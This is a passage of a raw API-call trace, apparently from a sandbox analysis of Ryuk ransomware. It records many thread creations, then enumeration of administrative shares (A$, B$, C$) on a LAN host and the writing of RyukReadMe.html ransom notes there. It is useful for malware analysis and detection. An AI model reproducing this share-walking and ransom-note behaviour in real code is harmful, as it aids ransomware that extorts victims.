	[0217.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0217.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0217.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0
	[0217.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0217.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0217.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0217.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0
	[0217.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0217.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0217.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0217.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0217.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
	[0217.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0217.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0217.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0
	[0218.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
	[0218.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8
	[0218.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0218.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0218.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0218.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0218.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0218.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0218.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0218.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c
	[0218.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0218.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0218.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef05f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0218.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0218.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0218.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0218.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0219.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c
	[0219.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750
	[0219.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754
	[0219.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758
	[0219.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c
	[0219.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760
	[0219.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764
	[0219.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768
	[0219.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c
	[0219.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770
	[0219.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774
	[0219.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778
	[0219.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c
	[0219.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780
	[0219.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784
	[0219.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788
	[0219.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c
	[0219.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790
	[0219.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc
	[0219.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0
	[0219.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4
	[0219.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8
	[0219.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec
	[0219.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0
	[0219.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4
	[0219.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8
	[0219.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc
	[0219.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef06f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804
	[0219.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808
	[0219.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c
	[0219.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810
	[0219.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814
	[0219.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818
	[0222.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854
	[0222.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858
	[0222.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c
	[0222.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860
	[0222.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864
	[0222.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868
	[0222.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c
	[0222.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870
	[0222.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874
	[0222.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c
	[0222.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0
	[0222.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4
	[0222.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8
	[0222.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac
	[0222.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0
	[0222.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4
	[0222.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8
	[0222.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc
	[0222.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0
	[0222.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4
	[0222.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8
	[0222.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc
	[0222.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0
	[0222.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4
	[0222.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef07e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8
	[0222.824] WaitForMultipleObjects (nCount=0xff, lpHandles=0x734c0*=0x100, bWaitAll=1, dwMilliseconds=0x1b58) returned 0xffffffff
	[0222.827] WaitForMultipleObjects (nCount=0xff, lpHandles=0x734c0*=0x100, bWaitAll=1, dwMilliseconds=0x1b58) returned 0xffffffff
	[0222.827] Sleep (dwMilliseconds=0x5dc) 
	[0224.583] VirtualFree (lpAddress=0x7f00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.585] Sleep (dwMilliseconds=0x3e8) 
	[0226.575] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4) returned 0x366ab0
	[0226.575] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4) returned 0x366ae0
	[0226.575] GetTickCount () returned 0x1187ff0
	[0226.575] GetLastError () returned 0x57
	[0226.575] SetLastError (dwErrCode=0x57) 
	[0226.575] GetLastError () returned 0x57
	[0226.576] SetLastError (dwErrCode=0x57) 
	[0226.751] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\A$\\*.*", lpFindFileData=0x736a0 | out: lpFindFileData=0x736a0*(dwFileAttributes=0x20c, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x210, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x214, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x218, nFileSizeHigh=0x0, nFileSizeLow=0x21c, dwReserved0=0x0, dwReserved1=0x220, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0236.571] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0236.571] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\B$\\*.*", lpFindFileData=0x736a0 | out: lpFindFileData=0x736a0*(dwFileAttributes=0x20c, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x210, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x214, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x218, nFileSizeHigh=0x0, nFileSizeLow=0x21c, dwReserved0=0x0, dwReserved1=0x220, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0245.638] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0245.638] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\C$\\*.*", lpFindFileData=0x736a0 | out: lpFindFileData=0x736a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44cdced0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x44cdced0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x220, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x35d8e0
	[0247.558] SetLastError (dwErrCode=0x0) 
	[0247.558] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0251.552] GetLastError () returned 0xb7
	[0251.552] CloseHandle (hObject=0x468) returned 1
	[0252.004] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\*.*", lpFindFileData=0x72f70 | out: lpFindFileData=0x72f70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44cdced0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x44cdced0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35d880
	[0257.414] FindNextFileW (in: hFindFile=0x35d880, lpFindFileData=0x72f70 | out: lpFindFileData=0x72f70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44cdced0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x44cdced0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.477] FindNextFileW (in: hFindFile=0x35d880, lpFindFileData=0x72f70 | out: lpFindFileData=0x72f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44cdced0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x44cdced0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x44cdced0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x42, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0258.477] FindNextFileW (in: hFindFile=0x35d880, lpFindFileData=0x72f70 | out: lpFindFileData=0x72f70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0258.477] SetLastError (dwErrCode=0x0) 
	[0258.477] CreateFileW (lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\RyukReadMe.html" (normalized: "\\\\192.168.0.21\\c$\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x444
	[0261.214] GetLastError () returned 0xb7
	[0261.214] CloseHandle (hObject=0x444) returned 1
	[0261.631] FindFirstFileW (in: lpFileName="\\\\192.168.0.21\\C$\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x72840 | out: lpFindFileData=0x72840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35d820
	[0264.646] FindNextFileW (in: hFindFile=0x35d820, lpFindFileData=0x72840 | out: lpFindFileData=0x72840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
